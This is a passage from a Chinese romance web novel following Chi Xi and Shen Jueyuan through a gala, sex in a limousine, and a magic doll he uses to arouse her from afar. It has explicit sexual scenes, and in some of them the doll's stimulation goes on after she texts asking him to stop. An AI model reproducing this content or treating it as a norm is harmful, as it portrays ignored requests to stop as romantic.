或许是因为这段经历让沈决远对她非常避讳。 可按照艾琳所说,追求他的人那么多,为什么偏偏只对艾琳的反应如此大。 他甚至听到自己提起Freya都没有任何反应,甚至还无动于衷地告诉她,Freya是个怎样的人。 一个男人如此在意一个女人,还能是因为什么。 想到这里,池溪深呼一口气,捏着水杯的手不由得紧了紧。 艾琳那么优秀,连作为女性的她都被吸引了,更何况是沈决远,这个性取向为女的男性。 她并非自我贬低,而是她完全没办法理解,有了艾琳那样完美的追求者,为什么沈决远会和自己在一起。 反正如果是她,她会选择艾琳。 沈决远对池溪的了解超过她本人。所以此刻,即使她一句话也没说,他也知道她在想什么。 只是再聪明的人偶尔也会被妒恨冲昏头脑,如此了解她的人,却只注意到她又在想刚才那个女人,并没有注意到她想起对方的原因同样是因为吃醋。 两个人,吃同一个人的醋。 池溪的心脏酸酸胀胀,根本没注意到沈决远的脸色越变越差。 Valerius离开了很久,给他打电话也无人接听。 想要与他谈论公事获得下一次合作机会的长辈过来询问艾琳,是否知道Valerius去了哪里。 他听到侍应生说,Valerius先生离开前曾和她有过短暂交谈。 艾琳想到刚才那一幕,仍旧心有余悸。 她好像得罪了Valerius。 “我也不知道,但他带着他的女伴离开的,或许只是有话要和她单独说。” 看来他和自己的品味一样。这种感觉还真是奇妙,自己现在的理想型,是自己曾经理想型的理想型? 他们真的很适合3p 加长林肯的内部空间非常大,真皮座椅是可以放下来的。 池溪一动不动地趴在沈决远的怀里。 他的衬衫没有完全脱下,松松垮垮地挂在手臂上。 可以看看见后背结实强悍的三角肌与胸锁乳突肌。 此时线条并没有变得太过紧绷,所以肌肉的隆起并不夸张。 他伸手轻轻抚摸埋在自己怀中的后脑勺,柔顺的长发盘起之后,变得有些毛茸茸的。手感摸起来像兔子。 “她应该已经和你做过自我介绍了?” 在他怀里的女人含糊不清地点头,嘴里像是含着什么东西。 不过没什么太多的信息,池溪只知道她叫做艾琳,曾经追求过沈决远。 “她已经结婚了,丈夫是一位男医生。” 池溪听到他的话,觉得有些不解。为什么要在职业前面加一个‘男’ 就算不加她也知道是男性。 “我...”她突然想到什么,刚从他的怀中离开,话只说了一个字,就被沈决远重新按回去,“时间还很充足,有什么事情可以结束之后再说。” “我要喘不过气来了。”她不舍地求着饶。 她暗自心想,此刻就算被闷死了也算是喜丧吧。 她的手放在他的胸口,像刚蒸好出锅的白馒头一样的手感。 沈决远将衬衫脱下,替她将脸侧的落发轻轻拢在耳后。 “虽然不清楚你为什么会对这里情有独钟。” 姑且认为是一种童年缺失的母爱导致。 就像她没有父亲的陪伴,所以渴望得到比她年龄大的男性的关爱。 似乎,她的母亲也没有给她太多的陪伴。 事实上,她只是单纯的好色而已。就像大部分的男人都喜欢丰满的女性一样。 “我..”池溪卖力地为他按摩了那么久,却始终没有得到想象中的反馈。 她不满地抬起头看他,下巴刚好卡在他的胸肌中缝,“你没感觉吗?” 他反问:“什么感觉?” 池溪变得不自信起来:“我以为...” 她以为自己学着他平时的行为和力道,他也会像自己那样发出娇哼。 但他什么也没有,除了呼吸稍微重了一点点之外,甚至连心跳都没有太多的变化。 是她的方式不对吗?可他平时就是这样的。 原来是在关心这个。 沈决远温柔抚摸她的后脑:“有感觉,但不至于发出声音。” “那你..舒服吗?” 他点头:“嗯,舒服。” 总算是得到了一点反馈,池溪的脸红红的,又恢复了干劲。 沈决远看了眼腕表时间,还很早,距离她解开自己的衬衫到现在,甚至只过去了十分钟。 “还要继续吗?”他体贴地询问。 她羞涩地点了点头,再次将脸埋进去。 優雅な紳士の雄乳誘惑,这是天堂吗。 她的脸埋在他的胸口,两只手用力按着胸肌外侧,朝同一反向使力。 她满意地埋在深邃的中缝,像是要把自己闷死在里面。 这种大爽子果然扇起来最奶了,她故意在上面留满了牙印。 ...white tie的衬衫比普通衬衫材质相比会更加硬,表面有小凹凸的纹理,尤其是衬衫的前胸与前襟。 这样等到结束,他重新穿上量身裁剪的衬衫回到晚宴,每一次接受别人敬酒将手臂抬起时,硬挺的布料都会不可避免的摩擦到... 或许她早就死了,据说好事做多的人死后会上天堂。她做了那么多好事。 ——给论坛里的朋友分享自己整理后的各种漫画推荐。 男性的身体原来也这么美好啊。 好大好白又软又硬.... 他不像那些纯种白男,没有茂盛的体毛和难闻的体味。 他好香。和艾琳完全不同的香。那种清清淡淡的,像雪山、像教堂、像神龛、像圣坛、也像圣洁古典的檀木。 她的脑容量此刻全被大扔子给占据了,早就忘了艾琳是谁。 沈决远中途接到一通电话,是某位偏远分支的长辈打来的。沈决远与对方没什么联系,但基本的教养让他没有立刻挂断电话。 对方找他不为别的,寒暄之后小心翼翼地提到自己新项目。由于资金不够无法启动,但所需数额太大,以他的身份阶层,列支敦士登皇家银行无法给他全部额度。 这次打来电话,是希望他的私人银行可以为他大开方便之门。 那位长辈寒暄之余还不忘关心他:“你那边似乎有别人在。” 沈决远垂眸看了眼将脸埋在他怀中的池溪,动作温柔地抚摸她的后脑勺,略微用力,让她埋得更深入一些。 “嗯,孩子在用餐。”他轻描淡写地回绝对方的请求,“银行暂时没有开放对外借贷的业务,非常抱歉。” 他的拒绝婉转温和。 对方似乎还想再说些什么,沈决远的耐心到此为止,他挂了电话,随手将手机扔在一边。 迫不及待地将池溪从自己怀里拉开,按在车窗上深吻,双手捧着她的脸。 吻的又急又快,舌头像凶悍的鲨鱼一般,在她口中肆意掠夺。 她的氧气被夺走,只能气喘吁吁可怜巴巴地推搡他求饶。 落叶飘卷,暮色深厚。 此刻若是恰好有人经过,又恰好可以看见里面,应该刚好能够看到咬着上衣下摆的池溪。 哪怕是以20千米每小时的速度通过减速带,车身几乎感受不到任何震颤。 具有如此顶级的减震效果的加长林肯,此刻却摇晃的不成样子。 所有的车窗都被遮光帘挡住,无法判断里面发生了什么。 这里的安保很严,外人无法进入,更何况是这里的专属停车位。除非是泊车员,偶尔会来检查一下。 此时穿着统一制服的泊车员从此处经过时,对这种强烈的震颤视而不见。甚至还关闭了停车场的所有灯光。 两个小时后,沈决远是一个人下的车。穿戴整齐的他已然恢复到以往的优雅从容。除了嘴巴有些红肿之外。 走进专属电梯后,他不放心地给池溪打电话,让她好好休息,记得多喝水。 电话那边的女声有气无力,仿佛被榨干了一样,声音虚弱的没有半点精神。 “嗯...我知道的。” “如果有哪里难受记得告诉我,我让私人医生过去。” “不用了...”她说,“没这么夸张。” 是没这么夸张,顶多是短短两个小时内就昏死了好几次。 电话挂断后,他将手放进外套口袋。 手指触碰到那团柔软的布料。 他带走了她的内裤。 池溪昏昏沉沉地睡了一觉后,像是完成了某种可怕的仪式。她把因为那个娃娃遗失的全部记忆都记了起来。 于是顺理成章的,她也想起了那天在沈决远的房间看到的那个和自己长得一模一样的娃娃意味着什么... 天呐,他肯定知道了一切,也知道了自己之前的反常行为是怎么来的。 她羞愧到想要找个地洞把自己给埋了,或是直接头撞车窗自杀。 沈决远是什么时候知道的?他知道之后肯定在心里唾弃过她?他该不会一直没有对她做什么就是等着她恢复记忆之后再报复她吧? 完了完了完了。 她咬着手指焦虑害怕,此时连身体的不适和疲惫都顾不上了。 满脑子都是跑路。 可是沈决远离开时将全部车门上了锁,她根本不知道该如何出去。 趁他回来之前溜走这个方法显然不可行。 他该不会是知道她会在这个时候恢复记忆,所以故意上锁车门不让她离开吧? 好心机的贱男人。 她抱着头倒在座椅上,沈决远肯定什么都知道了,他肯定知道自己不仅用娃娃意淫他,甚至还对着娃娃... 她痛苦地在座椅上打了个滚,结果忘了自己此刻不在卧室的床上,就算空间再大,也是在车里。 她滚了一圈就摔在地上了。 最后干脆认命地趴在地毯上,也懒得动弹起身。 她完了,她肯定完了,她一定完了! 好不容易和沈决远的关系有了这么大的起色,结果被他发现了那个娃娃。 - 沈决远游刃有余地出现在慈善晚宴上。 今天的拍品除了一些名家捐赠之外,还有各种久未面世的奢侈品与艺术品。 拍卖会开始前,作为基金会主席的沈决远象征性地说了几句官方开场白,然后便回到座位席。 他坐在主位,而艾琳则坐在第四排靠边的位置。 学生时代都会因为学习来安排座位,更何况是残酷的名利场。这里将人按等级划分。 阶级层明显。 艾琳家中虽然稳坐北欧一把手交椅,是old money中的old money,但在今天到场的这些人中,她只能往后排。 即使中间隔着众人,但艾琳还是敏锐的看到衬衫后领上方没有被遮住的脖颈。 那里遍布着暧昧凌乱的抓痕。 伤口看上去非常新鲜,甚至不超过半个小时。 艾琳几乎是立刻想到了那个被他强硬拉走的亚洲小甜心。 难怪他离开了这么久,再出现时只有他一个。 她又扫了一眼White Tie也无法遮掩的强悍身材。 他西裤的胯长都快赶上那位可怜小甜心的腹腔了。真是夸张的身高差。 脑海里浮现出一个可怜又淫靡的画面,艾琳叹了口气。在心里埋怨这种该死的臭男人肯定不懂得怜香惜玉。 恐怕balls都恨不得塞进去。 还是抓的太轻了,撕掉整块皮肉才解气。 沈决远一直都能感受到身后有一道目光一直跟随着自己。 当然不止一道。 他并未理会那道眼神中的愤恨,第一件拍品和最后一件拍品都由他捐赠,此时已经从起拍价的1000万美金叫到8000万,还有继续加价的趋势。 这个价格不是因为那件拍品多么具有收藏价值,而是因为Valerius·V·Eli这个名字。 沈决远的注意力却已不在这里,他的手碰到左边口袋的内裤,上面仿佛还带着她的体温和气息。 他知道她现在已经醒了,恐怕正光着屁股拼命推拉车门,试图逃出去。 他现在只希望快点结束,然后回到车上继续刚才的事情。 四十分钟,她应该已经休息好了。 车内的净化循环系统是开着的,但那种咸腥粘稠的气息没那么快散去。 努力了半个小时也无法成功从这辆车逃出去的池溪只能悲观的思考自己的未来。 如果一定要死的话,她希望自己的遗体能够运回国内,中国人讲究魂归故里。 她可不想死在国外。 她拿出手机,思考良久最终还是决定删掉所有的资源。 就算是死,她也要清清白白的死(?﹏?)? 当然,删除之前她将自己的全部珍藏都发给了小迷妹。同时不忘语重心长的劝学。 ——虽然不清楚你到底几岁,但你应该还在读书,不管是读书还是读研。总之,你的年龄肯定比我小。我以后可能不能再联系你了,我希望你现阶段还是以学业为主,这些留着毕业之后再看。永别了。 池溪小小地撒了个谎,但她不希望自己的年龄比对方小。 因为在她看来,年长者自带一种无声的威严。倘若自己比她小,岂不是连最后一点‘威信’也没了。 不是她‘爹味’重,而是她这辈子唯一碰到一个崇拜者,她希望能在对方心中保留一个沉稳可靠大姐姐形象。 人越缺什么,就越渴望什么。成为别人的救赎一直是她少女时代的终极梦想。 可惜她没这方面的能力。 对方待在论坛的时间很短,和他们这些宅属性的人相比,显然是个现充。主页显示上一次上线还是在半个月前,算算时间,是上一次和她聊天的时候。 她偶尔也会纳闷,对方为数不多的几次上线好像都是她在的时候。 总给人一种她是为了自己才注册论坛账号的错觉。 也不怪池溪这么想,她每次推荐漫画,对方表现出来的兴致都不高,反而更关心她喜不喜欢。 不过她也没有多想,毕竟论坛都是匿名制,就算对方真的骗了她,她也没有什么影响。 好吧,她已经知道自己叫池溪了。 胡思乱想结束之后,她打算退出论坛时却收到了对方的回复:怎么了? 池溪眼含热泪打字回复:我遇到一点意外,可能就到这里了。 ——什么意外? ——三言两语无法解释,总之你要好好学习知道吗。永别了。(?????_?????) 池溪回完信息后直接退出论坛,认命地重新缩回沙发,等待死神降临。 按照慈善晚会的流程,她以为最早也得凌晨一点才能结束。结果她刚躺下没多久,车锁就从外面打开,男人拉开车门,外面的冷风吹进来,她猛地坐起身。 开车门的不是别人,正是她等待的那个‘死神’ 男人没有立刻进来,而是单手按着车门顶,弯下腰。 视线先是在她身上扫视一遍,最后停在她的脸上:“有没有哪里不舒服?” 属于他的气息铺天盖地的涌来,还带着一些宴会厅独特的熏香和红酒的果味。 对 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她的后背只能重新靠在车门上,肩上的吊带有一侧滑落,胸前若隐若现的饱满线条,被低领覆盖着。 饱满而富有弹性的皮肤。腰肢轻软,身上自带细腻的香味。 同时还有那股熟悉的香水味。 他们的身体简直就是两种极致的碰撞,女性的柔与男性的壮。 沈决远一直靠着她闻来闻去,仿佛对她身上这股曾经感到厌恶的廉价香味上了瘾。 池溪不知道他喝了多少,虽然他身上有红酒的气息,但他的酒量不至于这么轻易就喝醉。更何况他的自持力很强,他几乎没有喝醉的时候。 可他现在的样子却又很像喝醉了。 手放在她的腰上,膝盖分开她的腿。 “如果你想回国,我现在就可以让人安排。”他声音温和,即使尽量淡化那种上位者的威严,但这种与生俱来的东西是没有这么容易完全消失的。 池溪抿了抿唇,小心翼翼地问:“你不...生我的气吗?” 他略微抬眸:“生气?” 她的声音顿时因为心虚而变低:“我...那个娃娃....” 原来是在说这个。 他没有否认:“一开始的确有些生气。只要想到自己那段时间的反常是被一个玩偶控制的,会让我认为自己是一个被按下开关的按-摩棒。” “我....”她急于解释,不是这样的,她根本就没想过... 但沈决远又以温和的语气补充,轻描淡写地将她所在意和恐惧的错误,变成一场无伤大雅的意外:“如果不是这样,我恐怕也没机会和你走到这一步。” 他替她整理好凌乱的头发,又看了眼她身上的裙子,“我让人给你准备了睡衣,没换吗?” 她沉吟片刻:“我怕万一还要出去。” “拍卖会马上就要结束了,后面的舞会不参加也没关系。”沈决远亲手替她将那件合身的裙子脱了,然后换上柔软亲肤的真丝睡裙。 原本宽大的空间因为沈决远的出现而变得狭窄。池溪低着头,装模作样地抚了抚睡裙上并不存在的褶皱。 她能感觉到沈决远一直在看着她,他的视线近在咫尺,带着火焰一般的温度。想不注意到也难。 沈决远的喉结滚了又滚,即使知道她现在需要的是休息。 但他引以为傲的自控力此时廉价到一文不值,他变成了一条看到她就会发情的公狗。 他抱着她的腰凑到她的颈窝又亲又舔:“再来一次吧,Sweetheart.” 池溪能够感受到他的愉悦,他似乎在因为她恢复全部的记忆而高兴。 她的记忆恢复的很寻常,没有像电视里演的那样头痛欲裂。 好像做了一个梦就全部记了起来,没有任何坎坷,放在小说或是漫画中,是会被点评为没有起伏的高潮。 可她明明记得那个老板告诉她如何解绑娃娃的同时,还强调了另外一件事,她说强行解绑是会有副作用的。 难道副作用就是失忆? 可听对方话里的意思又不太像。 似乎是精神上的? 池溪想不通,她太困了。 没多久就趴在沈决远的怀里陷入沉睡,迷迷糊糊中,她想到的唯一一件事就是,早知道这个娃娃这么麻烦,当初就不该心软买它回来。 果然世界上没有免费的午餐,作用越大,副作用也就越大。 - 沈决远在慈善晚宴上拍下的那几件拍品次日就由专人送上门。沈决远给她打电话,让她拆开看看喜不喜欢。 “送给我的吗?” “嗯,觉得你应该会喜欢。”他那边很静,池溪记得他今天出门是为了工作。 佣人将那些珠宝盒一一打开,鸽血红宝石戒指、古董珍珠贝母胸针以及维多利亚时期的帝王绿翡翠等等.... 池溪看的目不暇接,眼睛都快被这种天价光泽闪瞎了。 沈决远告诉她:“这两天我可能暂时没有时间陪你,你有什么需求直接和米娅说,” 米娅是家里的女性管家,一位年近七十的老妪,据说她十八岁就住进了这里,沈决远的母亲就是她看着长大的。 “至于婚纱,你有什么想法可以直接和设计师说,由我代为转达也行。”沈决远声音温和,像铺着一层暗红色丝绒的古典钢琴所弹下的低音,典雅中带着高贵,“或者等我忙完之后,我们一起商量。” 听了他的话,池溪把头缩回被子里。沈决远完全不介意那个娃娃的事情是她所没想到的。 沈决远将娃娃绑定在她的身上是她更加没想到的。 也不知道他这次有没有将娃娃随身带着,如果带了,那... 不知想到什么,她的脸一红,声音也变轻了许多:“好,那我等你回来再选。” 他明知故问:“声音怎么了。” “什么?”她的脸更红了。 “声音很小,是喉咙不舒服吗。”男人别有用心的关心让池溪不得不将整个人都缩进被子里。 该死的,他明明知道是因为什么。 池溪在心里将他骂了一遍,当然,这些话她是不敢说出来的。 她抿了抿唇,手指反复缠绕着床单上的流苏:“没有喉咙不舒服。” “那是因为什么?” 她说不出口。 她不说,他就只能继续关心她:“我让私人医生帮你去看看,如果是因为前天太深,伤到了喉咙,应该需要打一针消炎药。” 池溪急忙开口:“不是这个原因,我喉咙没事。” 电话那边的男人语重心长:“小河,不要勉强。” “我没有勉强...”该死的老外。好吧..现在她才是老外。 她只能松口回答:“我只是有点害羞,所以才...” 终于等到想要听到的回答,男人很轻地笑了一下,声音低沉,带着几分性感撩人的淡淡气音:“原来是在害羞呀。” 骚,真的骚。 他的绅士风度哪里去了,他的傲慢优雅哪里去了?池溪忍不住在心里吐槽道,实际上却喜欢的不得了,这种平时一本正经的人偶尔骚起来才是最致命的。 像是求偶期的孔雀一样开屏。 他故意逗她,等到池溪的脸红透了,他才笑着恢复正经,声音重新变得温和沉稳:“不打扰你了。这两天好好休息。我可能后天晚上才能回去。” “嗯,我知道了。”这两天不仅没课,公司那边也可以不用去。妮娜本来约了她一起去看演出,但池溪的腰腿还是很酸,所以就拒绝了。 电话挂断之后,她先是摸了摸自己滚烫的脸颊,然后抱着枕头激动地滚了一圈。 脸埋在枕头上,心里想的却全部都是那天在车上时,整张脸让人窒息的包裹感。 小的时候许愿爸爸妈妈可以陪在她的身边,长大之后妈妈去世,爸爸也早就成为了别人的爸爸,她认为生日许愿根本没用,之后过生日就再也没有许过愿。 不过现在。 有奶便是娘,男妈妈又怎么不是妈妈呢。 嘿嘿,嘿嘿嘿嘿,吸溜吸溜( ^?^) 不过池溪还是无法心安理得地享受这些,她总是隐约地不安。 沈决远的傲慢给她带来的心理创伤对她这个窝囊本性来说是非常顽固的。 除非她百分百确信,沈决远不会重新变回之前那样。 对她充满傲慢的厌恶与挑剔。 会议室内,所有人都安静等待着这位冷静严肃的决策者讲完这通电话。 往日那个不苟言笑的掌权人,罕见的温和包容,甚至在挂断电话之后不知想到什么,很轻地笑了笑。 “继续吧。”他发了话。 被中途叫停的会议重新开始。 男人听着他们的讨论,手从西装口袋中取出那个娃娃,调情般地慢揉起来。 不知过了多久,手机收到一条信息。 ——我已经去了两次了...拜托不要再碰那里了。 41.第四十一章 池溪不想被其他人发现,所以自己将床上的被单扯下来,用手洗干净了。 床垫其实也湿了,但她搬不动。算了,反正是沈决远卧室里的床,而且他才是导致她一次又一次失禁的元凶。 沈决远这几天虽然都在国外,但和池溪的联系并没有断。 实践作业完成后,池溪就从沈决远的公司离开了。 最近没什么课,所以她想趁这个时间出去逛逛。 小时候生活在乡镇,在那方狭窄的天地中,她对外界的一切了解都来自于电视。 第一次外出旅游是在她初中那年,兜里揣着几百块钱不知天高地厚地背着书包去了自己一直想去的城市。 贫穷让她徒步走完了半个城市,饿了就找十元一份的自助盒饭。 那个邻居姐姐借给她的二手相机里承载着她看过的所有风景,以及她的笑脸。 池溪是个胆小懦弱的人,但某种意义上,她又是坚强的。 她从未想过放弃自己,她给自己找了很多爱好,也很积极的在生活着。 她就像是一只不起眼的蚂蚁,靠自己给自己筑起一个巢穴。 即使因为生活环境的影响,让她的择偶观与其他人不同。 在身边的好友都与同班同学或是同龄人交往时,她仍旧两点一线的学校家里往返。 朋友劝她也去找个男人玩一玩,谈恋爱挺有意思的:“隔壁学校的那个谁不是追了你挺久吗。我听说他家里挺有钱,父亲是开大车的,妈妈是老师。” 池溪只是摇头。 那个阶段的同龄男生过于幼稚,身边的朋友总是三天一小吵,五天一大吵。吵架的原因在池溪看来简直是幼儿园的课题。 他们不懂包容,不懂退让,认为自己的面子和兄弟大于一切。 甚至连游戏都比自己女朋友重要。 池溪不喜欢这种,她唯一有过好感的,是镇上那所牙科诊所的医生。 医生是一位二十三岁的年轻男人,但对于当时只有十几岁的池溪来说,他就像大人一样可靠。 他会温柔安抚躺在诊疗床上紧张害怕的池溪,会在为她补牙时,让她要是害怕就抓住他的衣摆。 他的声音隔着口罩传出,有些闷闷的,但无法掩盖其中的笑意:“以后要少吃点糖,蛀牙又多了一颗。” 为她补完蛀牙之后,他免费为她洗了一次牙。 他的温柔包容完整了池溪的择偶观。 在现在的池溪看来,他只是一个普通到不能再普通的人。但他的温柔,却真切地让池溪在那个时候感受到了温暖。 她好像已经不再需要像之前那样因为贫穷,而不得不用脚步去丈量脚下这片土地。可她觉得这才是属于她的人生,她也更喜欢这样的方式。妈妈说过,只有当双脚踩在地上时,人才是踏实的。 她坐在海边晒了会太阳,又去附近的店里点了一份沙茶面。 沈决远的消息发来时,她正研究那瓶赠送的饮料应该如何打开。 “在做什么?” 池溪拍了张食物的照片发过去:“在吃饭(*^▽^*)” 男人的消息几乎是秒回:“我想看看前置镜头拍的照片,可以吗?” 当然可以了。 池溪换成前置镜头拍了一张食物的照片发过去:“前置不好找角度,所以拍的不是很好( ˉ?ω?ˉ )” 这次对方没有秒回,而是等了几分钟。 “^ ^” “继续吃吧” 池溪嘟囔一句,这人真是奇怪,不就是一碗沙茶面,还得分不同的镜头拍。 那碗沙茶面太大份了,她非常尽力也没吃完。回到家里后火速洗完澡,打算叫上网络上的狐朋狗友一起打游戏。 群组语音刚打开,身体就不对劲了。 “嗯...” 她用手按住自己的胸口,企图将那只不存在的手拿开。 别揉了.. 她在心里哀求。 难耐的声音就在喉咙口处翻涌,担心自己会忍受不住发出更加不堪入耳的声音,她火速退出语音,并打字在群里和他们道歉:不好意思,我今天身体不舒服可能打不了了,你们再拉个人顶上吧。 消息一发完她就躺在了床上,一边咬着嘴唇哼哼,一边给沈决远发信息求饶。 ——求求你不要继续了..... 男人只回了她一句:——给我打电话,我想听你的声音。 池溪觉得这是自己的报应,毕竟她当时也对娃娃做过同样的事情。让他险些在宴会上出丑,最后仓惶到了最近的洗手间敷衍解决。 那大概是他沉稳持重人生中最狼狈的一面,穿着典雅高贵的西装,在洗手间内手冲。 最主要的是,这一幕全程都有参观者在场。 而此刻这位始作俑者和参观者趴在床上,脚趾难耐地蹭着桑蚕丝的床单:“等一下...” 电话里,传来男人温和的关心:“在卧室吗?” “嗯...”她声音轻颤,缓慢喘着气。 “我记得你卧室里有一面很大的落地镜。”他突然提起这件事,没头没尾的,弄的池洗愣了一瞬。 她转头看向那面镜子,在衣帽间与卧室中间的走廊,上门的射灯打下来,有一种朦胧感。 “嗯,有的。”她乖乖回答。 沈决远那边有轻缓的音乐声传来,像钢琴,又像大提琴。 却并不吵闹。 池溪不清楚他是在外面还是在家里休息。 按照两国之间的时差,他那边应该还是下午。 他很少在这个点休息。 沈决远解答了她的疑惑:“今天有个宴会,但我中途离开了。现在在三楼的贵宾厅休息。” 在他解答她疑惑的同时,池溪已经按照他的要求,来到了镜子前。 那里放着一张单人沙发,她坐在头层牛皮的菱格软包上,两条纤细的腿踩在沙发前沿上。她的身体比例很好,这样的坐姿膝盖几乎要和肩部齐平。 从她这个角度,可以很清楚地看见镜子中,那个被柔软棉布勒紧的形状。 肉肉的,很饱满。 “你如果累了,就先休息吧...”她羞耻地闭上眼睛,不肯再看。 沈决远说:“我现在已经是在休息。” 他似乎察觉到她此刻闭上了眼睛,很轻地笑了一下:“怕什么,是看你自己的,又不是别人。有什么不敢看的。” “可...”她声音很轻,全是羞耻,“谁没事会一直盯着那里看。” “那就闭上眼睛,先慢慢感受,等适应了再把眼睛睁开。”他无比包容,稳重低磁的声音逐渐令她紧绷的身体和神经放松下来。 池溪时常觉得他的声音比她听过的那些乙女抓的cv声音更加容易让人动情。 那是一种不需要刻意压低,也不需要多余的低喘,那种自带威严强势的低沉声线,有种与生俱来的成熟性张力。 人的眼睛在看不见之后,身体的感官就会被无限放大。 沈决远继续关心她这些天的生活:“和朋友相处的怎么样?” “嗯..”她眼神开始迷离,舔了舔嘴唇:“还可以,但是最近他们都有各自的事情,所以见面次数不多。艾米莉和比利恋爱了。” “是吗。”她说的话沈决远句句都有回应,但他显然不在意其他的事情,他只关心她,“复活节想好怎么过了吗。” 复活节有一周的假。池溪刚要回答,突然抓着沙发扶手,身体绷直:“呃....” 她保持这种紧绷的姿势持续了数十秒,最后像是被一刀剪断,后背猛地躺回沙发,身体剧烈地颤栗着。 她的脑袋无力地靠在自己的肩上,透过镜子能看到自己半睁半阖的眼睛,脸颊潮红,双眼迷离。 饱满湿润的唇翕动。 太快了。 男人的声音在恰到好处的时候响起:“怎么了,还好吗?” 她突然很想哭,那种巨大的空虚感包裹住她。 她转了个方向,蜷缩着的身体靠着沙发扶手。 脚下的地毯早就湿透了,镜子像是刚遭受过一场大雨。 “好想你....” 听到她的哭腔,他松开了牙齿和舌头,将玩偶放在一旁,拿着手机起身走到窗前安抚她。 冬令时天黑的非常快,即使还是下午,这边天已经全黑了。面前的落地窗除了可以看见繁华的夜景,还可以看见倒映在玻璃窗上的自己。 西裤结实的布料全都绷紧了。 清晰可见的肌肉线条,每一处走向都可以看的一清二楚。 像蜿蜒的山脉,也像矗立的雄伟高山。 “我也很想你。我以为这次只需要待三天。”结果因为遇到一些棘手的事情需要他亲自留下来处理,所以不得不将返程往后推了推。 “那个娃娃...”她咬着唇,“可以还给我吗?” 沈决远没有同意,但也没有立刻拒绝,而是从安全角度告诉她:“我目前还不清楚它的运作原理,在确定它完全安全之前,就先放在我这里保管。” 池溪仍旧没有缓过来,比在健身房和快跑半小时还要累,她喘着气,控诉道:“既然不确定它是否是安全的...为什么还要用。” 电话那边静止了几秒,大约他也在思考同样的问题。 “嗯,我回国后会先去一趟教堂的忏悔室。”他主动认下了自己的罪,然后又问她,“舒服吗?” 池溪咬着唇,眼泪都被逼出来了。她回答不出口,只能问他:“你什么时候回来。” 他不回答,等她自己说出来。 她红着脸,看着镜子里的自己,鼓起勇气说出自己的真实想法:“我想要真的...那个。” 她听到了拉链被拉开的声音,男人走向浴室。 他引以为傲的自制力,终于因为她一句话成功破功。 - 沈决远回国后和池溪在房间待了三天,那三天里他们没有出门。 三天之后,他穿着一身纯黑色的西装,以优雅从容的姿态出现在教堂的忏悔室里。 池溪第一次尝试自己产粮。她从八岁开始自学画画,到现在已经十几年了。画工很成熟,尤其是人体。 加上她看了这么多年的漫画,经验丰富。更何况最近还有频繁的实践经验。 所以她发布的漫画很快就以极具张力的人体和刺激的剧情获得众多点击率。 当然,伴随着的是大量不满的声音。 ——靠,画Tl结果身体全部打码,让我们看什么啊。对话框里的嗯嗯啊啊吗? ——把码撤掉啊啊啊啊!!我也要看男主的大扔子啊!!!!不是被打码处理,就是被女主的后脑勺挡住!!! ——把嘴松开,让我进去演两集。 ——这和15r没区别吧,男主的西裤永远穿在身上,尤其是用来打码的马赛克居然是女主那张q版的脸(??_??)? ——男主好不容易露一次屁股居然让我看女主的脸!!!拿掉拿掉,我要看大屁股!! 池溪无动于衷,只是一味地将能打码的地方通通打上自己的q版萌脸( 。_ 。) ? 她忍不住自己的创作欲,但又出于某种自私的占有欲,不希望沈决远被自己之外的其他人看见。 他的身体就像是国家机密一样,被池溪遮了个严严实实。 她逐渐开始满足于现有的生活状态。 关于她的未来,沈决远专门找她聊过一次。她想走一条怎样的路,也就是,她将来想做的职业是什么。 池溪不确定地开口:“或许还会是设计,当然如果....” 沈决远打断她的犹豫不决:“这是你自己的人生,池溪,没有人能够替你做决定,我也不能。你不要害怕,也不要总是想着逃避。” 她的底色是自卑的,这源于她从小到大收获了太大的否认。 或许除了她母亲之外,她所遭受的一直都是来自各方的打压。 成长环境是至关重要的,它能够决定一个人的生活轨迹和未来。 她不相信自己能够办到,所以永远无法坚定的相信自己的选择是正确的。 干脆将自己的未来交给命运来决定。所以就变成了现在这副得过且过的样子。 沈决远不希望她总是处于被动接受的状态,她是一个独立的个体,作为一个独立的个体,首先就要具备独立的思想。 “在做选择的时候,永远不要说‘或许’和‘如果’,你要带着没有退路的决心去做选择。”他语气温和的告诉她,不带半分说教。 一旦不够坚定,意味着会不断退缩,任何因素都有可能成为放弃的理由。 这是池溪一直被‘推着走’的主要原因。 “既然只有一次选择的机会,就慎重考虑。距离毕业还有很长时间,有什么想法可以找我商量。”这是第一次,在面对人生中关键节点的时候,有人说出这句‘可以找他商量’ 一直以来她都是独自做选择,稀里糊涂地走上大众认为好的道路。 她是鹤立鸡群里的鸡,人中龙凤里的人.... 她一直都是那个不起眼的普通人,几乎没有过的叛逆期,按部就班地被时代洪流推着走。 她早就接受了自己的平凡。可是有一天,有个人突然出现在她的生命当中。明明他的存在是如此耀眼夺目,可是他却温和耐心地告诉她:你并不普通,每朵花都有它的生命周期,任何时间绽放都不算晚。 池溪鼻子一酸,突然很想哭。 她靠在沈决远的怀里,声音哽咽:“建筑...我小的时候看过一篇扎哈·哈迪德的采访,我一直想成为她那样的人。” 所以她才会自学画画,大学报考设计专业也是这个原因。 但身边的人听到她的目标之后,给予她的总是不自量力的嘲笑。 时间久了,池溪便忘了她学画画的初衷是什么。 “人要学会过滤掉杂音。虽然不该只听自己想听的话,但偶尔也需要让耳朵歇一歇。那些不过是毫无意义的空洞噪音。”他弯下腰,池溪的视线里,他的领带轻轻垂落在她的眼前,男人宽厚温热的手掌捂住了她的耳朵,“像这样。” 那枚订婚戒指硌在她的耳朵上。 她突然有了一种归属感。很奇异的一种归属感。 就好像她终于有了属于自己的家,不需要再到处借住,担心被人嫌弃。 只要沈决远在她的身边,她就永远都会有属于自己的家。 即使现在这个‘家’,曾经就是那个借住时,嫌弃自己的罪魁祸首。 - 可人生就是这样,只要察觉到你开始幸福了,就会给你当头一棒。 池溪担心的事情终于还是出现了。从今早起床她就察觉到了不对劲。 昨天夜晚还和她缠绵悱恻的男人,今天就在餐桌上对她露出挑剔审视的神情。 男人端着咖啡喝了一口,平淡的目光打量了一遍她身上的穿着,声音很淡:“换一套衣服吧。” 这种熟悉又陌生的语气和态度,让池溪愣了一瞬:“这条裙子怎么了?我觉得还挺...好看.....” “换了,这样看着很碍眼。”独断裁决的打断她的话,不给她商量的机会。 池溪看着面前的男人,他正在优雅地用餐,身上的西装马甲与衬衫十分符合他稳重矜贵的气质。 她仿佛看到了自己刚住进沈家时的沈决远。 那个傲慢挑剔,目中无人的沈决远。 “为.....为什么这么说。” 为什么会碍眼。 和之前的自己相比,现在的她多出了一些勇气。至少敢于反问,不再逃避他冰冷锋利的眼神。 男人微微皱眉,放下手中的咖啡杯,视线冷冷地看过来。 